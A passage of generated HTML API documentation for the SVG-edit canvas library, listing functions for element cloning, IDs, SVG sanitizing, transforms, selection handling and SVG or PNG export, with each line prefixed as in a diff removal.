-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.copyElem"></a>copyElem</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var copyElem = function(</td><td class=PParameter nowrap>el</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Create a clone of an element, updating its ID and its children&rsquo;s IDs when needed</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>el</td><td class=CDLDescription>DOM element to clone</td></tr></table><p>Returns: The cloned element</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.getElem"></a>getElem</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>function getElem(</td><td class=PParameter nowrap>id</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Get a DOM element by ID within the SVG root element.</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>id</td><td class=CDLDescription>String with the element&rsquo;s new ID</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.getId"></a>getId</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>getId = c.getId = function()</td></tr></table></blockquote><p>Returns the last created DOM element ID string</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.getNextId"></a>getNextId</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>getNextId = c.getNextId = function()</td></tr></table></blockquote><p>Creates and returns a unique ID string for a DOM element</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.bind"></a>bind</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>c.bind = function(</td><td class=PParameter nowrap>event,</td></tr><tr><td></td><td class=PParameter nowrap>f</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Attaches a callback function to an event</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>event</td><td class=CDLDescription>String indicating the name of the event</td></tr><tr><td class=CDLEntry>f</td><td class=CDLDescription>The callback function to bind to the event</td></tr></table><h4 class=CHeading>Return</h4><p>The previous event</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.setIdPrefix"></a>setIdPrefix</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>c.setIdPrefix = function(</td><td class=PParameter nowrap>p</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Changes the ID prefix to the given value</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>p</td><td class=CDLDescription>String with the new prefix</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.sanitizeSvg"></a>sanitizeSvg</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var sanitizeSvg = this.sanitizeSvg = function(</td><td class=PParameter nowrap>node</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Sanitizes the input node and its children It only keeps what is allowed from our whitelist defined above</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>node</td><td class=CDLDescription>The DOM element to be checked, will also check its children</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.getUrlFromAttr"></a>getUrlFromAttr</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var getUrlFromAttr = this.getUrlFromAttr = function(</td><td class=PParameter nowrap>attrVal</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Extracts the URL from the url(...) syntax of some attributes.&nbsp; Three variants:</p><ul><li>&lt;circle fill=&rdquo;url(someFile.svg#foo)&rdquo; /&gt;</li><li>&lt;circle fill=&rdquo;url(&lsquo;someFile.svg#foo&rsquo;)&rdquo; /&gt;</li><li>&lt;circle fill=&rsquo;url(&ldquo;someFile.svg#foo&rdquo;)&rsquo; /&gt;</li></ul><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>attrVal</td><td class=CDLDescription>The attribute value as a string</td></tr></table><h4 class=CHeading>Returns</h4><p>String with just the URL, like someFile.svg#foo</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.getBBox"></a>getBBox</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var getBBox = this.getBBox = function(</td><td class=PParameter nowrap>elem</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Get the given/selected element&rsquo;s bounding box object, convert it to be more usable when necessary</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>elem</td><td class=CDLDescription>Optional DOM element to get the BBox for</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.ffClone"></a>ffClone</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var ffClone = function(</td><td class=PParameter nowrap>elem</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Hack for Firefox bugs where text element features aren&rsquo;t updated.&nbsp; This function clones the element and re-selects it TODO: Test for this bug on load and add it to &ldquo;support&rdquo; object instead of browser sniffing</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>elem</td><td class=CDLDescription>The (text) DOM element to clone</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.getPathBBox"></a>getPathBBox</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var getPathBBox = function(</td><td class=PParameter nowrap>path</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Get correct BBox for a path in Webkit Converted from code found here: <a href="http://blog.hackers-cafe.net/2009/06/how-to-calculate-bezier-curves-bounding.html" class=LURL target=_top>http://blog.hackers-cafe.net<wbr>/2009<wbr>/06<wbr>/how-to-calculate-bezier-curves-bounding.html</a></p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>path</td><td class=CDLDescription>The path DOM element to get the BBox for</td></tr></table><h4 class=CHeading>Returns</h4><p>A BBox-like object</p></div></div></div>
-
-<div class="CGroup"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.Element_Transforms"></a>Element Transforms</h3></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.getRotationAngle"></a>getRotationAngle</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var getRotationAngle = this.getRotationAngle = function(</td><td class=PParameter nowrap>elem,</td></tr><tr><td></td><td class=PParameter nowrap>to_rad</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Get the rotation angle of the given/selected DOM element</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>elem</td><td class=CDLDescription>Optional DOM element to get the angle for</td></tr><tr><td class=CDLEntry>to_rad</td><td class=CDLDescription>Boolean that when true returns the value in radians rather than degrees</td></tr></table><h4 class=CHeading>Returns</h4><p>Float with the angle in degrees or radians</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.setRotationAngle"></a>setRotationAngle</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setRotationAngle = function(</td><td class=PParameter nowrap>val,</td></tr><tr><td></td><td class=PParameter nowrap>preventUndo</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Removes any old rotations if present, prepends a new rotation at the transformed center</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>val</td><td class=CDLDescription>The new rotation angle in degrees</td></tr><tr><td class=CDLEntry>preventUndo</td><td class=CDLDescription>Boolean indicating whether the action should be undoable or not</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.getTransformList"></a>getTransformList</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var getTransformList = this.getTransformList = function(</td><td class=PParameter nowrap>elem</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Returns an object that behaves like a SVGTransformList for the given DOM element</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>elem</td><td class=CDLDescription>DOM element to get a transformlist from</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.recalculateAllSelectedDimensions"></a>recalculateAllSelectedDimensions</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>var recalculateAllSelectedDimensions = this.recalculateAllSelectedDimensions = function()</td></tr></table></blockquote><p>Runs recalculateDimensions on the selected elements, adding the changes to a single batch command</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.remapElement"></a>remapElement</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var remapElement = this.remapElement = function(</td><td class=PParameter nowrap>selected,</td></tr><tr><td></td><td class=PParameter nowrap>changes,</td></tr><tr><td></td><td class=PParameter nowrap>m</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Applies coordinate changes to an element based on the given matrix</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>selected</td><td class=CDLDescription>DOM element to be changed</td></tr><tr><td class=CDLEntry>changes</td><td class=CDLDescription>Object with changes to be remapped</td></tr><tr><td class=CDLEntry>m</td><td class=CDLDescription>Matrix object to use for remapping coordinates</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.recalculateDimensions"></a>recalculateDimensions</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var recalculateDimensions = this.recalculateDimensions = function(</td><td class=PParameter nowrap>selected</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Decides the course of action based on the element&rsquo;s transform list</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>selected</td><td class=CDLDescription>The DOM element to recalculate</td></tr></table><h4 class=CHeading>Returns</h4><p>Undo command object with the resulting change</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.transformPoint"></a>transformPoint</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var transformPoint = function(</td><td class=PParameter nowrap>x,</td></tr><tr><td></td><td class=PParameter nowrap>y,</td></tr><tr><td></td><td class=PParameter nowrap>m</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>A (hopefully) quicker function to transform a point by a matrix (this function avoids any DOM calls and just does the math)</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>x</td><td class=CDLDescription>Float representing the x coordinate</td></tr><tr><td class=CDLEntry>y</td><td class=CDLDescription>Float representing the y coordinate</td></tr><tr><td class=CDLEntry>m</td><td class=CDLDescription>Matrix object to transform the point with Returns a x,y object representing the transformed point</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.isIdentity"></a>isIdentity</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var isIdentity = function(</td><td class=PParameter nowrap>m</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Helper function to check if the matrix performs no actual transform (i.e. exists for identity purposes)</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>m</td><td class=CDLDescription>The matrix object to check</td></tr></table><h4 class=CHeading>Returns</h4><p>Boolean indicating whether or not the matrix is 1,0,0,1,0,0</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.matrixMultiply"></a>matrixMultiply</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>var matrixMultiply = this.matrixMultiply = function()</td></tr></table></blockquote><p>This function tries to return a SVGMatrix that is the multiplication m1*m2.&nbsp; We also round to zero when it&rsquo;s near zero</p><h4 class=CHeading>Parameters</h4><blockquote><pre>= 2 Matrix objects to multiply</pre></blockquote><h4 class=CHeading>Returns</h4><p>The matrix object resulting from the calculation</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.transformListToTransform"></a>transformListToTransform</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var transformListToTransform = this.transformListToTransform = function(</td><td class=PParameter nowrap>tlist,</td></tr><tr><td></td><td class=PParameter nowrap>min,</td></tr><tr><td></td><td class=PParameter nowrap>max</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>This returns a single matrix Transform for a given Transform List (this is the equivalent of SVGTransformList.consolidate() but unlike that method, this one does not modify the actual SVGTransformList) This function is very liberal with its min,max arguments</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>tlist</td><td class=CDLDescription>The transformlist object</td></tr><tr><td class=CDLEntry>min</td><td class=CDLDescription>Optional integer indicating start transform position</td></tr><tr><td class=CDLEntry>max</td><td class=CDLDescription>Optional integer indicating end transform position</td></tr></table><h4 class=CHeading>Returns</h4><p>A single matrix transform object</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.hasMatrixTransform"></a>hasMatrixTransform</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var hasMatrixTransform = this.hasMatrixTransform = function(</td><td class=PParameter nowrap>tlist</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>See if the given transformlist includes a non-indentity matrix transform</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>tlist</td><td class=CDLDescription>The transformlist to check</td></tr></table><h4 class=CHeading>Returns</h4><p>Boolean on whether or not a matrix transform was found</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.getMatrix"></a>getMatrix</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var getMatrix = function(</td><td class=PParameter nowrap>elem</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Get the matrix object for a given element</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>elem</td><td class=CDLDescription>The DOM element to check</td></tr></table><h4 class=CHeading>Returns</h4><p>The matrix object associated with the element&rsquo;s transformlist</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.transformBox"></a>transformBox</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var transformBox = this.transformBox = function(</td><td class=PParameter nowrap>l,</td></tr><tr><td></td><td class=PParameter nowrap>t,</td></tr><tr><td></td><td class=PParameter nowrap>w,</td></tr><tr><td></td><td class=PParameter nowrap>h,</td></tr><tr><td></td><td class=PParameter nowrap>m</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Transforms a rectangle based on the given matrix</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>l</td><td class=CDLDescription>Float with the box&rsquo;s left coordinate</td></tr><tr><td class=CDLEntry>t</td><td class=CDLDescription>Float with the box&rsquo;s top coordinate</td></tr><tr><td class=CDLEntry>w</td><td class=CDLDescription>Float with the box width</td></tr><tr><td class=CDLEntry>h</td><td class=CDLDescription>Float with the box height</td></tr><tr><td class=CDLEntry>m</td><td class=CDLDescription>Matrix object to transform the box by</td></tr></table><h4 class=CHeading>Returns</h4><p>An object with the following values:</p><ul><li>tl - The top left coordinate (x,y object)</li><li>tr - The top right coordinate (x,y object)</li><li>bl - The bottom left coordinate (x,y object)</li><li>br - The bottom right coordinate (x,y object)</li><li>aabox - Object with the following values:</li><li>Float with the axis-aligned x coordinate</li><li>Float with the axis-aligned y coordinate</li><li>Float with the axis-aligned width coordinate</li><li>Float with the axis-aligned height coordinate</li></ul></div></div></div>
-
-<div class="CGroup"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.Selection"></a>Selection</h3></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.clearSelection"></a>clearSelection</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var clearSelection = this.clearSelection = function(</td><td class=PParameter nowrap>noCall</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Clears the selection.&nbsp;  The &lsquo;selected&rsquo; handler is then called.&nbsp; Parameters: noCall - Optional boolean that when true does not call the &ldquo;selected&rdquo; handler</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.addToSelection"></a>addToSelection</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var addToSelection = this.addToSelection = function(</td><td class=PParameter nowrap>elemsToAdd,</td></tr><tr><td></td><td class=PParameter nowrap>showGrips</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Adds a list of elements to the selection.&nbsp;  The &lsquo;selected&rsquo; handler is then called.</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>elemsToAdd</td><td class=CDLDescription>an array of DOM elements to add to the selection</td></tr><tr><td class=CDLEntry>showGrips</td><td class=CDLDescription>a boolean flag indicating whether the resize grips should be shown</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.removeFromSelection"></a>removeFromSelection</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var removeFromSelection = this.removeFromSelection = function(</td><td class=PParameter nowrap>elemsToRemove</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Removes elements from the selection.</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>elemsToRemove</td><td class=CDLDescription>an array of elements to remove from selection</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.selectAllInCurrentLayer"></a>selectAllInCurrentLayer</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.selectAllInCurrentLayer = function()</td></tr></table></blockquote><p>Clears the selection, then adds all elements in the current layer to the selection.&nbsp; This function then fires the selected event.</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.smoothControlPoints"></a>smoothControlPoints</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var smoothControlPoints = this.smoothControlPoints = function(</td><td class=PParameter nowrap>ct1,</td></tr><tr><td></td><td class=PParameter nowrap>ct2,</td></tr><tr><td></td><td class=PParameter nowrap>pt</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Takes three points and creates a smoother line based on them</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>ct1</td><td class=CDLDescription>Object with x and y values (first control point)</td></tr><tr><td class=CDLEntry>ct2</td><td class=CDLDescription>Object with x and y values (second control point)</td></tr><tr><td class=CDLEntry>pt</td><td class=CDLDescription>Object with x and y values (third point)</td></tr></table><h4 class=CHeading>Returns</h4><p>Array of two &ldquo;smoothed&rdquo; point objects</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.getMouseTarget"></a>getMouseTarget</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var getMouseTarget = this.getMouseTarget = function(</td><td class=PParameter nowrap>evt</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Gets the desired element from a mouse event</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>evt</td><td class=CDLDescription>Event object from the mouse event</td></tr></table><h4 class=CHeading>Returns</h4><p>DOM element we want</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.preventClickDefault"></a>preventClickDefault</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var preventClickDefault = function(</td><td class=PParameter nowrap>img</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Prevents default browser click behaviour on the given element</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>img</td><td class=CDLDescription>The DOM element to prevent the cilck on</td></tr></table></div></div></div>
-
-<div class="CGroup"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.Text_edit_functions"></a>Text edit functions</h3><div class=CBody><p>Functions relating to editing text elements</p></div></div></div>
-
-<div class="CGroup"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.Path_edit_functions"></a>Path edit functions</h3><div class=CBody><p>Functions relating to editing path elements</p></div></div></div>
-
-<div class="CGroup"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.Serialization"></a>Serialization</h3></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.removeUnusedDefElems"></a>removeUnusedDefElems</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>var removeUnusedDefElems = this.removeUnusedDefElems = function()</td></tr></table></blockquote><p>Looks at DOM elements inside the &lt;defs&gt; to see if they are referred to, removes them from the DOM if they are not.</p><h4 class=CHeading>Returns</h4><p>The amount of elements that were removed</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.svgCanvasToString"></a>svgCanvasToString</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>var svgCanvasToString = this.svgCanvasToString = function()</td></tr></table></blockquote><p>Main function to set up the SVG content for output</p><h4 class=CHeading>Returns</h4><p>String containing the SVG image for output</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.svgToString"></a>svgToString</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var svgToString = this.svgToString = function(</td><td class=PParameter nowrap>elem,</td></tr><tr><td></td><td class=PParameter nowrap>indent</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Sub function ran on each SVG element to convert it to a string as desired</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>elem</td><td class=CDLDescription>The SVG element to convert</td></tr><tr><td class=CDLEntry>indent</td><td class=CDLDescription>Integer with the amount of spaces to indent this tag</td></tr></table><h4 class=CHeading>Returns</h4><p>String with the given element as an SVG tag</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.embedImage"></a>embedImage</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.embedImage = function(</td><td class=PParameter nowrap>val,</td></tr><tr><td></td><td class=PParameter nowrap>callback</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Converts a given image file to a data URL when possible, then runs a given callback</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>val</td><td class=CDLDescription>String with the path/URL of the image</td></tr><tr><td class=CDLEntry>callback</td><td class=CDLDescription>Optional function to run when image data is found, supplies the result (data URL or false) as first parameter.</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.save"></a>save</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.save = function(</td><td class=PParameter nowrap>opts</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Serializes the current drawing into SVG XML text and returns it to the &lsquo;saved&rsquo; handler.&nbsp; This function also includes the XML prolog.&nbsp;  Clients of the SvgCanvas bind their save function to the &lsquo;saved&rsquo; event.</p><h4 class=CHeading>Returns</h4><p>Nothing</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.rasterExport"></a>rasterExport</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.rasterExport = function()</td></tr></table></blockquote><p>Generates a PNG Data URL based on the current image, then calls &ldquo;exported&rdquo; with an object including the string and any issues found</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.getSvgString"></a>getSvgString</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.getSvgString = function()</td></tr></table></blockquote><p>Returns the current drawing as raw SVG XML text.</p><h4 class=CHeading>Returns</h4><p>The current drawing as raw SVG XML text.</p></div></div></div>
-
